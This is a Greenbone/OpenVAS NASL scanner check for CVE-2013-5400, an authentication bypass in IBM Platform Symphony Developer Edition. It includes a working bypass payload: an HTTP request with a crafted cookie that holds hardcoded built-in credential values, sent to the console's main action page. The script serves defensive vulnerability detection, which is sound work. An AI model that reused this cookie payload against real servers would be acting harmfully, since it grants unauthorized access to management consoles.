IBM Platform Symphony Developer Edition Authentication Bypass Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804240");
  script_version("2023-07-26T05:05:09+0000");
  script_cve_id("CVE-2013-5400");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2023-07-26 05:05:09 +0000 (Wed, 26 Jul 2023)");
  script_tag(name:"creation_date", value:"2014-02-19 11:25:08 +0530 (Wed, 19 Feb 2014)");
  script_name("IBM Platform Symphony Developer Edition Authentication Bypass Vulnerability");

  script_tag(name:"summary", value:"IBM Platform Symphony Developer Edition is prone to an authentication bypass vulnerability.");
  script_tag(name:"vuldetect", value:"Send a crafted exploit string via HTTP GET request and check whether it is
able to read the string or not.");
  script_tag(name:"insight", value:"The flaw is in a servlet in the application, which authenticates a user with
built-in credentials.");
  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to gain access to the
local environment.");
  script_tag(name:"affected", value:"IBM Platform Symphony Developer Edition 5.2 and 6.1.x through 6.1.1");
  script_tag(name:"solution", value:"Apply the workaround");

  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/87296");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/65616");
  script_xref(name:"URL", value:"http://www-01.ibm.com/support/docview.wss?uid=isg3T1020564");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 18080);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");

ibmPort = http_get_port(default:18080);

ibmReq = http_get(item:"/platform/index_de.jsp", port:ibmPort);
ibmRes = http_keepalive_send_recv(port:ibmPort, data:ibmReq, bodyonly:TRUE);

if(">Welcome to IBM Platform Management Console<" >< ibmRes &&
   "Symphony Developer Edition" >< ibmRes)
{
  url = '/symgui/framework/main.action';
  cookie = 'JSESSIONID=A7D2D8F02709BEC35B4DB60C979EE92B; platform.username=\r\n' +
           'OG0Q3YUPHWw="; DE_GUIplatform.username="OG0Q3YUPHWw=";\r\n' +
           'DE_GUIplatform.password="OG0Q3YUPHWw=";\r\n' +
           'DE_GUIplatform.descookie="";\r\n' +
           'DE_GUIplatform.token=testToken; DE_GUIplatform.userrole=1;\r\n' +
           'DE_GUIplatform.logindate=1392792773887;\r\n' +
           'DE_GUIplatform.renewtoken=1392794573887';

  host = http_host_name(port:ibmPort);

  ibmReq = string("GET ",url," HTTP/1.0\r\n",
               "Host: ",host, "\r\n",
               "Cookie: ",cookie,"\r\n",
               "Content-Type: application/x-www-form-urlencoded\r\n\r\n");
  ibmRes = http_send_recv(port:ibmPort, data:ibmReq,bodyonly:TRUE);

  if(ibmRes && "IBM Platform Symphony Developer Edition" >< ibmRes &&
     "\/symgui\/pmr\/workload\/toapplicationsummary.action" >< ibmRes)
  {
    security_message(ibmPort);
    exit(0);
  }
}